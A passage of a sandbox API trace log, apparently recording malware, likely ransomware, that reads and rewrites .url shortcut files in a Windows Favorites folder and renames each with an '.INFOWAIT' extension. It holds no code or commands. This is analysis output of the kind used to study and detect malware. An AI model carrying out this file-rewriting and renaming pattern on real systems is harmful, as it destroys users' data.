SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.016] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x85, lpOverlapped=0x0) returned 1 [0147.016] CloseHandle (hObject=0xad0) returned 1 [0147.016] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url" | out: lpString1="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url" [0147.016] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url.INFOWAIT") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url.INFOWAIT" [0147.016] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at home.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url.INFOWAIT" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at home.url.infowait")) returned 1 [0147.016] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.017] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.017] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0147.017] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at work.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0147.018] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x85 [0147.018] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0147.018] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.018] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x85, lpOverlapped=0x0) returned 1 [0147.019] VirtualAlloc (lpAddress=0x0, dwSize=0x85, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0147.020] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.020] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x85, lpOverlapped=0x0) returned 1 [0147.020] CloseHandle (hObject=0xad0) returned 1 [0147.020] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url" | out: lpString1="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url" [0147.020] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url.INFOWAIT") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url.INFOWAIT" [0147.020] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at work.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url.INFOWAIT" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at work.url.infowait")) returned 1 [0147.020] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.021] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.021] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0147.021] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft store.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0147.022] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x86 [0147.022] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0147.022] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.023] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x86, lpOverlapped=0x0) returned 1 [0147.024] VirtualAlloc (lpAddress=0x0, dwSize=0x86, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0147.025] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.025] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x86, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x86, lpOverlapped=0x0) returned 1 [0147.025] CloseHandle (hObject=0xad0) returned 1 [0147.025] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url" | out: lpString1="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url" [0147.025] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url.INFOWAIT") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url.INFOWAIT" [0147.025] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft store.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url.INFOWAIT" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft store.url.infowait")) returned 1 [0147.025] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.026] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.026] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0147.026] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn autos.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0147.027] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x85 [0147.027] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0147.027] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.027] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x85, lpOverlapped=0x0) returned 1 [0147.028] VirtualAlloc (lpAddress=0x0, dwSize=0x85, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0147.029] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.029] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x85, lpOverlapped=0x0) returned 1 [0147.029] CloseHandle (hObject=0xad0) returned 1 [0147.029] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url" | out: lpString1="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url" [0147.029] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url.INFOWAIT") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url.INFOWAIT" [0147.029] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn autos.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Autos.url.INFOWAIT" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn autos.url.infowait")) returned 1 [0147.029] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.030] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.030] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0147.030] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn entertainment.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0147.031] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x85 [0147.031] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0147.031] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.031] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x85, lpOverlapped=0x0) returned 1 [0147.033] VirtualAlloc (lpAddress=0x0, dwSize=0x85, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0147.033] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.033] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x85, lpOverlapped=0x0) returned 1 [0147.033] CloseHandle (hObject=0xad0) returned 1 [0147.033] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url" | out: lpString1="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url" [0147.033] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url.INFOWAIT") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url.INFOWAIT" [0147.033] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn entertainment.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Entertainment.url.INFOWAIT" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn entertainment.url.infowait")) returned 1 [0147.034] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.035] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.035] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0147.035] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn money.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0147.035] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x85 [0147.035] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0147.035] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.035] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x85, lpOverlapped=0x0) returned 1 [0147.037] VirtualAlloc (lpAddress=0x0, dwSize=0x85, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0147.037] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.037] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x85, lpOverlapped=0x0) returned 1 [0147.037] CloseHandle (hObject=0xad0) returned 1 [0147.037] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url" | out: lpString1="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url" [0147.037] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url.INFOWAIT") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url.INFOWAIT" [0147.037] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn money.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url.INFOWAIT" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn money.url.infowait")) returned 1 [0147.038] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.039] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.039] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0147.039] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn sports.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0147.039] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x85 [0147.039] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0147.039] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.039] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x85, lpOverlapped=0x0) returned 1 [0147.041] VirtualAlloc (lpAddress=0x0, dwSize=0x85, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0147.041] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.041] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x85, lpOverlapped=0x0) returned 1 [0147.041] CloseHandle (hObject=0xad0) returned 1 [0147.041] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url" | out: lpString1="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url" [0147.041] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url.INFOWAIT") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url.INFOWAIT" [0147.041] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn sports.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url.INFOWAIT" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn sports.url.infowait")) returned 1 [0147.042] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.043] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.043] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0147.043] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0147.044] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x85 [0147.044] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0147.044] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.044] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x85, lpOverlapped=0x0) returned 1 [0147.045] VirtualAlloc (lpAddress=0x0, dwSize=0x85, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0147.045] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.046] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x85, lpOverlapped=0x0) returned 1 [0147.046] CloseHandle (hObject=0xad4) returned 1 [0147.046] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url" | out: lpString1="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url" [0147.046] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url.INFOWAIT") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url.INFOWAIT" [0147.046] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url.INFOWAIT" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn.url.infowait")) returned 1 [0147.046] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.047] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.047] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0147.047] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msnbc news.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0147.047] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x85 [0147.048] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0147.048] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.048] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x85, lpOverlapped=0x0) returned 1 [0147.049] VirtualAlloc (lpAddress=0x0, dwSize=0x85, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0147.049] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.050] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x85, lpOverlapped=0x0) returned 1 [0147.050] CloseHandle (hObject=0xad4) returned 1 [0147.050] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url" | out: lpString1="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url" [0147.050] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url.INFOWAIT") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url.INFOWAIT" [0147.050] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msnbc news.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url.INFOWAIT" (normalized: "c:\\users\\default\\favorites\\msn websites\\msnbc news.url.infowait")) returned 1 [0147.050] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.051] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.051] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0147.051] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\default\\favorites\\windows live\\get windows live.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0147.052] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x85 [0147.052] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0147.052] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.052] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x85, lpOverlapped=0x0) returned 1 [0147.054] VirtualAlloc (lpAddress=0x0, dwSize=0x85, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0147.054] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.054] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x85, lpOverlapped=0x0) returned 1 [0147.054] CloseHandle (hObject=0xad4) returned 1 [0147.054] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url" | out: lpString1="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url") returned="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url" [0147.054] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url", lpString2=".INFOWAIT" 